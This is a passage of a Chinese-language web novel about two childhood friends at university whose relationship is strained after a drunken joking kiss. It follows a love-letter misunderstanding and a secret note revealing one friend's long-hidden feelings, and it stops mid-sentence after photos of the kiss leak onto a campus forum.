更衣室里,厉川把水龙头开到最大,冷水哗啦啦地冲在头上。他闭上眼睛,却还是能看见论坛上那张照片——云舟对着那个女生笑的样子,阳光正好洒在他们身上,像幅画一样。 "操。"他低声骂了一句,一拳砸在瓷砖墙上。 "厉川?"云舟的声音从门外传来,"你洗好了没?下节课要迟到了。" "你先走。"厉川关掉水龙头,声音闷闷的。 "不行,今天老张的课,迟到要扣分的。"云舟直接推门进来,看见厉川光着上半身站在那儿,水珠顺着腹肌往下滑,不由得吹了声口哨,"身材不错啊兄弟。" 厉川迅速抓起T恤套上,耳尖微红:"谁让你进来的。" "又不是没看过,"云舟笑嘻嘻地凑过去,"喂,你是不是因为那个帖子生气了?那都是误会,我跟那个女生根本不熟。" 厉川系鞋带的动作顿了一下:"关我什么事。" "当然关你事啊,"云舟一把勾住厉川的脖子,"你可是我最好的兄弟,你生气了我能不解释吗?" 厉川的身体明显僵了一下,他轻轻挣开云舟的手臂:"快走吧,要迟到了。" 两人一前一后走出体育馆,九月的阳光依然炽热。云舟小跑两步和厉川并肩,偷偷观察他的侧脸——高挺的鼻梁,紧抿的嘴唇,还有那双总是看不出情绪的眼睛。 "厉川,"云舟突然说,"周末我们去喝酒吧,就我们俩,好久没单独聚了。" 厉川的脚步慢了下来:"为什么突然..." "就当庆祝我成功单身二十年啊,"云舟眨眨眼,"而且你不是马上要生日了吗?提前庆祝一下。" 厉川的嘴角微不可察地上扬了一下:"随你。" "那就这么定了!我知道学校后门新开了家清吧,据说很不错。"云舟兴奋地计划着,没注意到厉川看他的眼神柔软得不像话。 那个玩笑般的吻 周六晚上八点,云舟站在宿舍镜子前抓了抓头发,第三次换了上衣。 "这件怎么样?"他转身问正在看书的室友陈明。 陈明抬头瞥了一眼:"你又不是去约会,换个衣服至于这么纠结吗?" "你懂什么,"云舟对着镜子整理衣领,"这可是我和厉川难得的二人世界,自从上了大学,那家伙越来越难约了。" 陈明意味深长地"哦"了一声:"所以你打算穿得跟个花孔雀似的去跟你兄弟喝酒?" "滚蛋!"云舟抓起枕头砸过去,手机突然震动起来。厉川发来消息:「我在楼下」。 云舟三步并作两步冲下楼,看见厉川靠在一棵梧桐树下等他。路灯的光透过树叶间隙洒在厉川身上,斑驳陆离。他今天穿了件黑色衬衫,袖口挽到手肘处,露出线条分明的小臂。 "你今天......"云舟走近了,突然语塞。 "怎么?"厉川抬眼看他。 "没,就是觉得你今天特别......"云舟绞尽脑汁想找个合适的词,"人模狗样的。" 厉川轻嗤一声,转身就走。云舟赶紧追上去:"夸你呢!真的帅!" 厉川的耳根在夜色中微微发红。 学校后门的酒吧街灯火通明,新开的那家"夜航"酒吧装修得很别致,门口挂着复古的船锚装饰。推门进去,里面人不多,蓝调音乐缓缓流淌。 "两位吗?"酒保热情地迎上来。 "对,找个安静点的位置。"厉川说。 他们被带到角落的一个卡座,木质桌面上摆着一盏小油灯,暖黄的光映在两人脸上。云舟兴致勃勃地翻着酒单,厉川则不动声色地把自己的外套挂在云舟身后的椅背上——这个位置空调风正对着吹。 "我要这个''蓝色珊瑚礁''!"云舟指着酒单上最花哨的一款。 厉川皱眉:"你酒量不行,别点度数太高的。" "怕什么,不是有你吗?"云舟笑嘻嘻地撞了下厉川的肩膀,"你可是千杯不醉的厉哥啊。" 厉川没再说什么,给自己点了杯威士忌加冰。 酒上来后,云舟迫不及待地尝了一口,眼睛顿时亮起来:"好喝!甜甜的像汽水一样。"他推给厉川,"你尝尝?" 厉川看着杯沿上留下的淡淡唇印,喉结动了动,接过杯子抿了一小口:"太甜。" "不懂欣赏。"云舟把杯子抢回来,又喝了一大口,很快脸颊就泛起红晕。 两杯下肚,云舟已经有些微醺,话也变得多起来。 "厉川,你还记得我们初中那次翻墙出去上网吗?"云舟眼睛亮晶晶的,"结果被教导主任逮个正着。" "记得,"厉川嘴角微微上扬,"你把我推出去挡枪,自己跑了。" "我那不是去找救兵了吗!"云舟大笑着又灌了一口酒,"后来我不是带着班主任来救你了?" "嗯,然后我们俩一起写了三千字检讨。" 云舟笑得前仰后合,不小心碰倒了盐瓶。厉川自然地拿起餐巾纸擦拭,手指不小心碰到云舟的手背,像被烫到似的迅速缩回。 "你最近怎么老是躲着我碰你?"云舟突然凑近,带着酒气的呼吸喷在厉川脸上,"小时候我们不是经常一起睡吗?你还记得吗,有次打雷,你吓得钻我被窝里......" "云舟,"厉川声音低沉,"你喝多了。" "我才没喝多!"云舟不服气地又点了一杯,"我今天特别高兴,真的。厉川,你是我最好的兄弟,没有之一。" 厉川的眼神暗了暗:"只是兄弟?" "啊?"音乐声太大,云舟没听清,又往厉川那边凑了凑,"你说什么?" 两人的距离近得能数清对方的睫毛。厉川看着云舟因为酒精而湿润的嘴唇,喉结滚动了一下,猛地往后靠回沙发:"没什么。" 云舟撇撇嘴,突然站起来:"我去趟洗手间。" 他摇摇晃晃地离开,厉川的目光一直追随着他的背影,直到消失在转角。 十分钟后,云舟还没回来。厉川开始担心,正准备去找,却看见云舟被一个陌生男人搀扶着往回走。那男人约莫三十岁左右,手正不安分地搭在云舟腰上。 厉川的眼神瞬间冷了下来,大步走过去。 "谢谢你啊大哥,"云舟醉醺醺地说,"我没事,我朋友在......哎,厉川!" 厉川一把将云舟拉到自己身边,冷冷地看向那个男人:"有事?" 男人讪讪地笑了笑:"你朋友在洗手间吐了,我帮忙扶一下。" "谢谢,不必了。"厉川揽住云舟的肩膀,带着他往回走。 回到座位,云舟整个人软绵绵地靠在厉川身上:"那个大哥人挺好的......还给我递纸巾......" "闭嘴,"厉川咬牙切齿,"你能不能长点心?" 云舟委屈地扁扁嘴:"你凶什么嘛......" 厉川深吸一口气,招手结账。云舟已经醉得东倒西歪,厉川只好一手扶着他的腰,一手拿着两人的外套往外走。 九月的夜风带着微微凉意。一出酒吧,云舟就嚷嚷着热要脱衣服,厉川不得不停下来帮他整理。 "厉川......"云舟突然捧住厉川的脸,醉眼朦胧地看着他,"你长得真好看......" 厉川僵在原地。 "特别是眼睛......"云舟凑得更近,呼吸交融,"像......像黑曜石一样......" 时间仿佛静止了。厉川能闻到自己送给云舟的那款洗发水的味道,能看清云舟脸上细小的绒毛,甚至能感觉到对方睫毛扇动带起的微风。 然后,毫无预兆地,云舟在厉川脸颊上亲了一下。 "嘻嘻,盖章!你是我最好的兄弟!" 这个轻如羽毛的吻像一道闪电劈中了厉川。他整个人僵在原地,血液仿佛凝固,又瞬间沸腾。 云舟亲完就软绵绵地往地上滑,被厉川一把捞住。 "云舟,"厉川的声音沙哑得不像话,"你知道你在做什么吗?" "嗯?"云舟迷茫地抬头,突然笑起来,"厉川,你脸好红啊......" 厉川闭了闭眼,再睁开时,眼底翻涌着云舟读不懂的情绪。他猛地松开扶着云舟的手,转身就走。 "哎!厉川!等等我!"云舟踉踉跄跄地追上去,却被自己的脚绊倒,直接跪在了地上,"嘶——好痛......" 厉川脚步一顿,终究还是折返回来,沉默地把云舟扶起来。 "你生气啦?"云舟可怜巴巴地问,"我就是开个玩笑嘛......" 厉川没说话,只是架着云舟往学校走。路灯把两个人的影子拉得很长,重叠在一起,像是一个整体。 回到宿舍楼下,厉川把云舟送到寝室门口,转身就要走。 "厉川!"云舟拉住他的衣角,"明天......明天还一起吃饭吗?" 厉川背对着他,肩膀的线条绷得紧紧的:"不了。" "为什么?" "你自己好好想想。"厉川甩开他的手,大步离开。 云舟站在寝室门口,酒醒了大半。他摸了摸自己的嘴唇,那里还残留着厉川脸颊的温度。 "完了,"他喃喃自语,"我是不是......搞砸了?" 冷战开始 周一早晨,云舟顶着两个黑眼圈蹲在厉川宿舍楼下,手里拎着两袋豆浆和煎饼果子。这是他惯用的哄人伎俩——每当厉川生气,一份热腾腾的早餐总能让他脸色缓和些。 七点二十分,厉川的身影出现在宿舍门口。他今天穿了件深灰色卫衣,衬得肤色越发冷白,下颌线紧绷着,整个人像一把出鞘的刀。 "厉川!"云舟小跑过去,献宝似的举起早餐,"我给你买了煎饼果子,加两个蛋不要香菜,还有豆浆,少糖的。" 厉川脚步一顿,目光在早餐袋上停留了不到一秒:"吃过了。" "啊?"云舟愣在原地,"可这才七点二十,你平时不是七点半才......" "有事,先走了。"厉川绕开他,头也不回地往教学楼方向走去。 云舟站在原地,手里的早餐渐渐变凉。他低头看了看表——七点二十一分,厉川的课八点才开始,从宿舍到教学楼最多十分钟。这家伙分明是在躲他。 上午的宏观经济学,云舟特意提前半小时到教室,占了倒数第二排的两个座位——那是厉川最喜欢的位置,既不显眼又能看清整个教室。他不断回头看门口,每次有人进来都期待是那个熟悉的身影。 直到上课铃响前五分钟,厉川才出现。他站在门口扫视一圈,目光掠过云舟身边的空位,径直走向第一排唯一的空座。 "喂!厉川!"云舟忍不住喊出声,引得几个同学回头看他。 厉川的背影僵了一下,但没有回头。教授已经开始点名,云舟只好悻悻地坐下,一整节课都盯着厉川的后脑勺发呆。 下课铃一响,云舟就冲向前排,却见厉川迅速收拾好书本,从另一侧过道离开了教室。 "搞什么啊......"云舟踢了一脚桌腿,疼得龇牙咧嘴。 接下来的三天,厉川的躲避战术越发娴熟。食堂里看到云舟就换队伍,篮球场上见云舟来了立刻下场,连宿舍楼都改走侧门。云舟试过发微信、打电话,甚至让室友传话,全都石沉大海。 周四下午的体育课是两人为数不多必须同时出现的场合。云舟早早换好运动服守在篮球场边,眼睛一眨不眨地盯着入口。 厉川是和室友陈昊一起来的。他穿着黑色运动裤和白色T恤,阳光下皮肤几乎透明,额前的碎发被风吹得微微晃动。看到场边的云舟,他明显怔了一下,随即恢复面无表情。 "分组!"体育老师吹响哨子,"今天三对三半场对抗,自由组队。" 云舟立刻朝厉川走去,却被陈昊抢先一步:"厉川,我们一队吧?再加个王磊。" 厉川点点头,云舟伸出去的手尴尬地悬在半空。 "舟哥,来我们队?"同班的张阳招呼他。 比赛开始后,云舟打得心不在焉,眼睛一直追着厉川的身影。一个不留神,他被陈昊撞倒在地,手肘擦破了皮。 "没事吧?"张阳跑过来扶他。 云舟摇摇头,目光却不由自主地寻找厉川。那人站在三分线外,明明看到了这边的情况,却硬是别过脸去。 一股无名火窜上心头。云舟爬起来,拍了拍膝盖上的灰:"继续。" 接下来的比赛,云舟像变了个人,进攻凶猛得不像话。一次突破时,他直接撞上了厉川的胸口,两人同时倒地。 "你干什么?"厉川皱眉,这是三天来他对云舟说的第一句话。 云舟骑在厉川身上,双手揪住他的衣领:"你他妈到底在闹什么脾气?就因为我亲了你一下?我们以前不是经常开这种玩笑吗?" 厉川的眼神瞬间冷了下来:"起来。" "我不!你今天必须把话说清楚!" 周围的同学开始起哄,王磊甚至吹了声口哨:"哟,舟哥这是要家暴啊?" 厉川脸色更难看了,他一个翻身把云舟压在下面,声音压得极低:"别在这里闹。" 云舟这才注意到他们已经成了全场焦点,耳朵顿时烧了起来。厉川趁机起身,头也不回地走向场边。 "厉川!"云舟追上去抓住他的手腕,"我们谈谈。" 厉川甩开他的手:"没什么好谈的。" "就因为我亲了你一下?"云舟压低声音,"那只是个玩笑,你以前不会这样的。" "玩笑?"厉川突然转身,眼神锐利得像刀,"云舟,你有没有想过,不是所有人都和你一样,把什么事都当玩笑?" 云舟被问住了,张着嘴却说不出话来。 厉川深吸一口气,似乎在极力控制情绪:"离我远点,对你我都好。" 说完,他拿起场边的外套离开了球场。云舟站在原地,手肘的擦伤火辣辣地疼,却比不上心里那股莫名的酸涩。 放学后,云舟独自坐在食堂角落,机械地往嘴里塞着米饭。王磊端着餐盘在他对面坐下:"怎么一个人?你俩还没和好?" 云舟戳着碗里的茄子:"我连他为什么生气都不知道。" "就因为那个吻?" "可那根本不算什么啊!"云舟抓狂地抓了抓头发,"初中毕业旅行我们不是还玩过更过分的真心话大冒险吗?他当时也没这样。" 王磊神秘兮兮地压低声音:"论坛上那个外语系系花,昨天被人看到和厉川一起在图书馆。" "什么?"云舟的筷子掉在桌上。 "听说是系花主动找的他,两人聊了挺久。"王磊挤眉弄眼,"你说厉川该不会是因为喜欢那女生,所以才......" 云舟突然觉得食不下咽。他想起那天在教学楼前,系花确实往他手里塞了个信封,但他根本没看内容就还回去了,还说"我有喜欢的人了"——那只是为了婉拒的托词而已。 "他们约的几点?"云舟猛地站起来。 "现在应该还在吧,三楼的西侧阅览室。" 云舟冲出食堂,一路狂奔到图书馆。三楼西侧阅览室静悄悄的,只有翻书声和键盘敲击声。他放轻脚步,一间间找过去,终于在最后一排发现了厉川的身影。 厉川独自坐在靠窗的位置,阳光透过百叶窗在他脸上投下斑驳的光影。他面前摊开着一本厚重的专业书,修长的手指正轻轻敲击桌面——这是他想事情时的小习惯。 没有系花,没有其他人。 云舟松了口气,正准备上前,却见厉川从书里抽出一张照片,盯着看了很久,然后小心翼翼地夹回书页间。即使隔着一段距离,云舟也能认出那是他们高中毕业时的合影——他搂着厉川的脖子,两人笑得没心没肺。 胸口突然一阵发紧。云舟后退两步,悄悄离开了图书馆。 晚上九点,云舟抱着试一试的心态敲响了厉川的宿舍门。开门的却是陈昊:"找厉川?他不在。" "去哪了?" "不知道,就说今晚不回来了。"陈昊打量着他,"你俩到底怎么了?厉川这几天跟吃了火药似的,连袜子叠不好都要冷脸。" 云舟苦笑:"我也想知道。" 回寝室的路上,云舟的手机突然震动。他手忙脚乱地掏出来,却是王磊发来的消息:「重磅消息!系花承认那天给厉川的是情书!论坛炸了!」 云舟的心沉了下去。他点开学校论坛,置顶帖赫然是《外语系系花大胆示爱冰山学长》,里面详细描述了系花如何托云舟转交情书,又如何鼓起勇气直接向厉川表白。 最让云舟呼吸停滞的是帖子最后一段: 「据知情人透露,厉川学长虽然没有当场接受,但表示会"认真考虑"。两人约定周末单独见面详谈......」 手机屏幕的光在黑暗中格外刺眼。云舟站在路灯下,突然意识到一件事——厉川可能真的喜欢那个系花,所以才会对他那个玩笑般的吻反应这么大。 也许,厉川生气不是因为被亲了,而是因为亲他的人是云舟。 这个念头像一根针,扎得他心脏细细密密地疼。 情书的真相 周五早晨,云舟顶着两个黑眼圈起床,昨晚论坛那个帖子在他脑海里循环播放了一整夜。他抓起手机,屏幕干净得像刚擦过的玻璃——厉川依然没有回复他三天前发的那条"我们谈谈"。 "操。"云舟把手机扔到床上,力道大得让它弹了起来。 室友陈明从上铺探出头:"又没回你?" "嗯。"云舟闷声应道,往牙刷上挤了过量牙膏。 陈明爬下梯子,拍了拍他的肩:"要我说,直接堵他宿舍去。厉川那人吃软不吃硬,你卖个惨,他准心软。" 云舟吐掉嘴里的泡沫,盯着洗漱池上方的镜子。镜中的自己头发乱得像鸟窝,眼睛里布满血丝,下巴上还冒出了几颗痘。这副尊容卖惨倒是挺合适。 "算了,"他用毛巾狠狠擦了把脸,"他可能真有事。" 嘴上这么说,脚却有自己的想法。八点整,云舟鬼使神差地出现在了外语学院的教学楼前。据论坛爆料,系花林薇今天第一节有课在这里。 教学楼前人来人往,云舟靠在梧桐树下,像个蹩脚的私家侦探。他不断说服自己只是想搞清楚情书的事,绝不是来"偶遇"的。 八点十五分,目标出现。林薇穿着淡蓝色连衣裙,长发披肩,正和几个女生有说有笑地走向教学楼。云舟深吸一口气,硬着头皮走上前。 "那个,林同学?能打扰一下吗?" 谈笑声戛然而止。几个女生齐刷刷看向他,眼神从惊讶迅速变为八卦。林薇的脸"唰"地红了:"云、云舟学长?" 云舟挠了挠后脑勺:"能单独聊两句吗?就五分钟。" 林薇点点头,跟着他走到一旁。阳光下,云舟能闻到她身上淡淡的栀子花香。 "关于那封情书..."云舟开门见山,"我那天没看清楚就还给你了,后来才知道是给厉川的?" 林薇绞着手指:"对不起学长,我本来是想亲自给厉川学长的,但一直没勇气...后来看到你们关系很好,就想请你转交..." "没事没事,"云舟摆摆手,"我就是想确认一下。那厉川他...怎么说?" 林薇的眼睛亮了起来:"厉川学长人真的很好!他拒绝得很温柔,还说已经有喜欢的人了..."她突然捂住嘴,"啊,我不该说这个的。" 云舟感觉像被人当胸打了一拳:"他...有喜欢的人?" "嗯。"林薇小声道,"虽然他没说是谁,但他说喜欢很多年了,是从小一起长大的..." 云舟的大脑瞬间空白。从小一起长大?除了他,厉川还有哪个"从小一起长大"的人?他们从幼儿园就形影不离,厉川的生命里根本不存在另一个这样的人。 "学长?你还好吗?"林薇担忧地看着他。 云舟勉强扯出一个笑容:"没事,谢谢告诉我这些。"他顿了顿,"那个...祝你能找到更适合的人。" 离开外语学院,云舟漫无目的地在校园里游荡。九月的阳光依然炽热,他却感觉手脚冰凉。厉川有喜欢的人?还是从小一起长大的?这怎么可能? 不知不觉,他走到了图书馆门口。抬头望了望三楼西侧的窗户——昨天厉川就坐在那里看他们的合照。 云舟刷卡进馆,乘电梯上三楼。西侧阅览室人不多,他径直走向昨天厉川坐过的位置——靠窗第四排,桌上还留着几道浅浅的划痕。 座位是空的。云舟鬼使神差地坐下,手指抚过桌面。如果厉川真的在这里看他们的照片,那本书会是什么呢? 他的目光扫过书架,突然定在一本《宏观经济理论与模型》上——这是厉川的专业课教材。云舟抽出书,随手翻了几页,一张照片飘然落地。 弯腰捡起,云舟的呼吸停滞了。照片上是两个七八岁的小男孩,站在一棵梧桐树下。高一点的男孩一脸严肃地搂着另一个笑得见牙不见眼的男孩的肩膀。那是他和厉川,小学二年级的春游。 照片背面,一行歪歪扭扭的字迹:「要和云舟永远在一起。——厉川」 记忆如潮水般涌来。那天春游,他们班去了市郊的森林公园。他和厉川偷偷离队探险,在一棵大梧桐树下模仿电视剧里的情节"结拜兄弟"。厉川用圆珠笔在他俩的合照背面写下这句话,还非要按手印。 "永远在一起..."云舟轻声念出这几个字,胸口像被什么东西重重撞了一下。 "谁让你动我东西的?" 冰冷的声音从头顶传来。云舟猛地抬头,厉川不知何时站在面前,脸色阴沉得可怕。 "厉川,这是..." "还给我。"厉川一把夺过照片,力道大得差点撕破它。他小心翼翼地把照片夹回书里,动作轻柔得与刚才判若两人。 云舟站起来:"我不知道你还留着这个..." "现在你知道了。"厉川抱起书就要走。 云舟抓住他的手腕:"等等!我们得谈谈!那个林薇说你有喜欢的人,还是从小一起长大的..." 厉川的身体明显僵住了:"她跟你说了什么?" "就说你拒绝她是因为有喜欢的人。"云舟的声音不自觉地提高,"可我们从小一起长大,我怎么不知道你喜欢谁?" 阅览室里的几个同学不满地看过来。厉川压低声音:"出去说。" 两人一前一后走到图书馆后面的小花园。厉川在一张长椅前停下,转身时眼里带着云舟从未见过的防备。 "我没有义务向你汇报我的感情生活。"厉川说。 这句话像刀子一样捅进云舟心里。他张了张嘴,却发不出声音。是啊,厉川当然可以有喜欢的人,当然可以不对他说。他们只是朋友,兄弟,发小...而已。 "我只是..."云舟的声音低了下去,"我以为我们之间没有秘密。" 厉川的眼神闪烁了一下:"人是会变的,云舟。" "那天的吻..."云舟鼓起勇气,"我真的只是喝多了开玩笑。如果你是因为这个生气,我道歉。" "我没生气。"厉川别过脸,"我只是需要...空间。" 一阵风吹过,几片早落的梧桐叶飘到他们脚边。云舟突然注意到厉川眼下淡淡的青色——他也没睡好。 "那个..."云舟指了指厉川手中的书,"照片...你还留着啊。" 厉川下意识把书抱得更紧了些:"随手放的,忘了扔。" 骗人。云舟在心里说。那张照片边角已经泛黄,但保存得很平整,明显是被精心收藏的。 "厉川,"云舟突然说,"我们还是兄弟,对吧?" 厉川的喉结滚动了一下,没有立即回答。阳光透过树叶间隙,在他脸上投下斑驳的光影。 "我去买瓶水。"最终他选择了回避问题,转身走向不远处的自动贩卖机。 云舟坐在长椅上,看着厉川挺拔的背影。黑色T恤勾勒出他宽阔的肩膀轮廓,后颈处有一小块皮肤被阳光晒得发亮。这个背影云舟看了十几年,熟悉得能闭着眼睛画出来,此刻却莫名感到一丝陌生。 厉川弯腰从贩卖机取水时,有什么东西从他裤袋里滑了出来。云舟小跑过去捡起——是个棕色皮夹,边角已经有些磨损。这是厉川十八岁生日时云舟送的礼物,内层还绣了他们名字的缩写。 云舟本想直接还回去,却鬼使神差地打开了钱包。透明夹层里,赫然是另一张照片——高中毕业旅行时,他们在海边拍的。照片上云舟从背后搂着厉川的脖子,两人都笑得灿烂。照片一角有些卷边,显然经常被拿出来看。 "给我。" 厉川不知何时已经回来,声音冷得像冰。云舟抬头,看到他手里攥着两瓶柠檬味汽水——云舟最喜欢的口味。 "你..."云舟指了指汽水,"还记得我爱喝这个?" 厉川的表情出现一丝裂缝,他粗暴地把其中一瓶塞给云舟,夺回钱包:"习惯而已。" 云舟拧开瓶盖,气泡涌出的声音在沉默中格外清晰。他喝了一口,甜中带酸的味道在舌尖蔓延。 "厉川,"他轻声说,"我们别这样了好吗?" 厉川握紧汽水瓶,塑料发出不堪重负的声响:"怎样?" "冷战。"云舟盯着自己的鞋尖,"你不理我,我...很难受。" 长久的沉默。一只麻雀落在他们脚边,好奇地啄食地上的面包屑。 "我需要时间。"厉川最终说道,声音比刚才柔和了些。 "多久?" "不知道。" 云舟突然伸手,用拇指擦去厉川嘴角的一点汽水渍。这个动作他们做过无数次,从小时候分享冰淇淋到现在。厉川条件反射地抓住他的手腕,却在肌肤相触的瞬间像被烫到一样松开。 "对不起,"云舟缩回手,"习惯了。" 厉川站起身:"我下午还有课。" "等等!"云舟也站起来,"周六...周六你还来我家吗?我妈说要做火锅..." 每年九月的最后一个周六,厉川都会去云舟家吃饭,这是延续了十几年的传统。 厉川的背影僵了一下:"再看吧。" 看着厉川走远,云舟慢慢坐回长椅上。手中的汽水已经不那么冰了,气泡也少了许多,就像他们之间的关系,正在一点点失去活力。 手机突然震动,云舟掏出来一看,是王磊发来的消息:「重磅!学生会刚公布校园歌手大赛评委名单,你和厉川都在列!下周三第一次会议!」 云舟盯着屏幕,不知该哭还是该笑。就在这时,又一条消息弹出,这次是来自厉川的: 「周六几点?」 简单三个字,却让云舟的心跳漏了一拍。他赶紧回复:「下午四点!我妈买了你最爱吃的虾滑!」 消息显示已读,但没有回复。云舟不介意,至少这是一个开始。他仰头喝完剩下的汽水,阳光透过塑料瓶在他脸上投下淡绿色的光斑。 厉川还留着他们的合照,记得他喜欢的饮料,甚至没有完全拒绝周六的邀请...也许,事情并没有他想的那么糟。 也许,他们还能回到从前。 周六下午三点四十分,云舟第十次检查餐桌摆设。火锅已经架好,电磁炉调到保温档,红白相间的鸳鸯锅底微微冒着热气。周围摆满了各式配菜:肥牛卷、虾滑、毛肚、金针菇...全是厉川爱吃的。 "舟舟,别转了,我头都晕了。"云妈妈从厨房端出一盘手切羊肉,"小川不是说四点来吗?还有二十分钟呢。" 云舟抓了抓头发:"万一他提前到呢?" 云妈妈把盘子放下,意味深长地看了儿子一眼:"你们俩...没闹矛盾吧?" "啊?没有啊。"云舟避开母亲的目光,假装整理餐巾纸。 "少来,你是我生的,撒谎我能看不出来?"云妈妈擦了擦手,"小川上周就没来吃我做的红烧肉,这周要不是我亲自打电话,他是不是也不打算来?" 云舟张了张嘴,不知如何解释。总不能说"因为我喝醉亲了他一口他就躲着我"吧? 门铃突然响了。云舟像离弦的箭一样冲过去开门,差点被拖鞋绊倒。 门外,厉川穿着深蓝色衬衫和黑色休闲裤,手里拎着一盒云妈妈最爱吃的杏仁饼。阳光从他身后照过来,勾勒出他挺拔的轮廓。他看起来比上周瘦了些,眼下还有淡淡的青色。 "你来啦。"云舟声音不自觉地提高,"我妈刚还念叨你呢。" 厉川点点头,把杏仁饼递给他:"给阿姨的。" 云妈妈闻声赶来,脸上笑开了花:"小川来啦!快进来快进来,正好火锅刚准备好。" "阿姨好。"厉川微微鞠躬,声音比平时柔和许多。他弯腰换鞋时,一缕头发垂下来,遮住了半边眼睛。 云舟盯着那缕头发,手指蠢蠢欲动——以前他总会顺手帮厉川拨开。但现在,他只能把手插在口袋里,假装对鞋柜上的花纹很感兴趣。 餐桌上,火锅已经沸腾。云妈妈热情地给厉川夹菜:"多吃点,你看你都瘦了。最近学习很忙吗?" "还好。"厉川礼貌地回答,把虾滑下进清汤锅。 云舟习惯性地把涮好的肥牛夹到厉川碗里:"这个熟了,你最爱吃的。" 话一出口,两人都愣住了。这个动作太自然,自然到云舟完全忘了他们还在"冷战"。厉川盯着碗里的肥牛,筷子悬在半空。 "谢谢。"最终他小声说,夹起肉片放进嘴里。 云妈妈看看儿子,又看看厉川,眼中闪过一丝疑惑,但很快又笑着招呼:"小川,尝尝这个手切羊肉,我特意让老张留的最嫩的部分。" 整顿饭在一种奇怪的氛围中进行着。云舟和厉川偶尔交谈,但都小心翼翼避开任何可能触及雷区的话题。他们聊课程、聊篮球赛、聊云妈妈的花园新种的月季,却绝口不提那个吻、不提情书、不提厉川口中的"喜欢的人"。 然而,十几年的默契不是那么容易掩饰的。当云舟被辣锅呛到时,厉川条件反射地递上冰镇酸梅汤;当厉川的酱料碗快见底时,云舟自然而然地拿起勺子给他加了一勺蒜泥。这些小动作像呼吸一样自然,以至于当事人都没意识到有什么不对。 直到—— "云舟,嘴角。"厉川指了指自己的嘴角示意。 "嗯?"云舟茫然地摸了摸,没摸对地方。 厉川叹了口气,抽了张纸巾,伸手过去。就在他的指尖即将碰到云舟嘴角的瞬间,两人的目光在空中相遇。时间仿佛静止了。厉川的手僵在半空,云舟能看见他瞳孔微微放大的样子,能闻到他手上淡淡的檀香皂味道。 厉川猛地收回手,把纸巾塞给云舟:"自己擦。" 云舟接过纸巾,心跳不知为何加快了。他胡乱擦了擦嘴,低头猛扒碗里的饭,不敢再看厉川。 云妈妈看看这个,又看看那个,突然放下筷子:"我厨房里还炖着银耳汤,去看看火候。"说完就离开了餐厅,把空间留给两个年轻人。 沉默在餐桌上蔓延。火锅咕嘟咕嘟的声音格外清晰。 "那个..."云舟打破沉默,"校园歌手大赛的评委,你收到通知了吗?" 厉川点点头:"嗯。" "下周三下午三点,学生活动中心。" "我知道。" 又是一阵沉默。云舟用筷子戳着碗里的香菇,突然说:"如果你不想去,我可以帮你请假。" 厉川抬起头:"为什么不想去?" "就...我们这样..."云舟做了个来回指的手势,"不会尴尬吗?" 厉川放下筷子,直视云舟的眼睛:"我们是成年人,云舟。工作就是工作。" 这句话不知为何让云舟胸口发闷。成年人。工作。厉川在用这些词把他们十几年的感情归类为什么? "我去看看我妈要不要帮忙。"云舟突然站起来,椅子在地板上刮出刺耳的声音。 厨房里,云妈妈正在盛银耳汤。见儿子进来,她压低声音:"你们吵架了?" 云舟靠在冰箱上:"算是吧。" "为什么事?" "我..."云舟抓了抓后脑勺,"我做了一件可能让他误会的事。" 云妈妈挑眉:"什么事能让我们家舟舟这么难以启齿?" 就在这时,客厅里传来手机铃声,接着是厉川接电话的声音:"喂,爸。" 云舟和妈妈同时安静下来。厉川的声音突然变得很正式:"是的,我在云舟家...不,只是普通聚餐...我知道,但是..." 声音戛然而止,接着是脚步声。云舟探头看去,厉川已经走到了玄关,正在穿鞋。 "怎么了?"云舟快步走过去。 厉川的脸色异常苍白:"我爸有事找我,我得先走。" "现在?银耳汤马上就好了。" "下次吧。"厉川已经拉开门,"替我向阿姨道歉。" 云舟抓起鞋柜上的钥匙:"我送你。" "不用!"厉川的反应激烈得让云舟吓了一跳,"我...我自己打车就行。" 说完,他几乎是逃也似的离开了。云舟站在门口,看着厉川的背影消失在电梯里,一头雾水。 回到餐厅,云妈妈正在收拾碗筷:"小川走了?" "嗯,他爸突然找他有事。"云舟坐下来,发现厉川的座位上落了一个东西——他的钱包。 云舟拿起钱包,犹豫了一下还是打开了。透明夹层里依然是那张他们在海边的合照,但这次他注意到照片后面似乎还有东西。小心翼翼地抽出来,是一张折叠得很小的纸条。 展开纸条,上面是厉川工整的字迹: 「2018.9.15 云舟喝了我喝过的水瓶 2018.10.3 云舟靠在我肩上睡着了 2019.4.12 云舟说我穿蓝色好看 2020.1.7 云舟发高烧一直喊我的名字 ......」 清单很长,密密麻麻记满了各种日期和事件。云舟的手开始发抖,这些全都是他们相处中的小细节,有些他甚至自己都不记得了。纸条最下方,有一行较新的字迹: 「他永远不会知道。这样最好。」 "舟舟?"云妈妈的声音从厨房传来,"来帮我尝尝银耳汤甜度够不够。" 云舟慌忙把纸条塞回钱包,心跳如雷。他从未想过,厉川冷静外表下藏着这样的心思。那些他以为只是兄弟间普通的互动,在厉川眼里竟然如此...珍贵? 窗外,夕阳西下,最后一缕阳光照在厉川坐过的椅子上。云舟盯着那个空座位,突然意识到一件事:也许,厉川生气不是因为那个吻本身,而是因为...那对他而言,从来就不只是个玩笑。 周日清晨,云舟被手机铃声惊醒。他迷迷糊糊地摸到手机,屏幕上显示"王磊"的名字。 "喂?"云舟的声音带着浓重的睡意。 "舟哥!出大事了!"王磊的声音尖锐得刺耳,"你快看学校论坛!" 云舟瞬间清醒了大半:"什么论坛?" "就那个''C大八卦站''!有人发了你和厉川的照片,现在整个论坛都炸了!" 云舟一个激灵坐起身,手指颤抖着点开学校论坛。首页置顶帖的标题让他血液凝固: 《惊!校篮球队两大男神酒吧亲密照曝光!这是我们可以免费看的吗?》 帖子里的照片有些模糊,但依然能清晰辨认出是他和厉川。第一张是他醉醺醺地捧着厉川的脸,第二张是他的嘴唇贴在厉川脸颊上的瞬间,第三张是厉川僵硬的表情特写。 云舟的手机掉在床上。这些照片拍摄角度明显是偷拍,很可能是当时酒吧里其他客人用手机拍的。他的大脑一片空白,耳边只剩下自己剧烈的心跳声。 "舟哥?你还在吗?"王磊的声音从扬声器里传出。 云舟机械地拿起手机:"谁发的帖子?" "匿名用户,但有人扒出来发帖IP是校外的一家网吧。"王磊顿了顿,"现在评论已经过千了,有人说你们...呃..." "说什么?" "说你们其实是一对,平时在装直男...还有人说厉川拒绝系花就是因为这个..." 云舟的胃部一阵绞痛。他想起昨天厉川钱包里那张纸条,那些被细心记 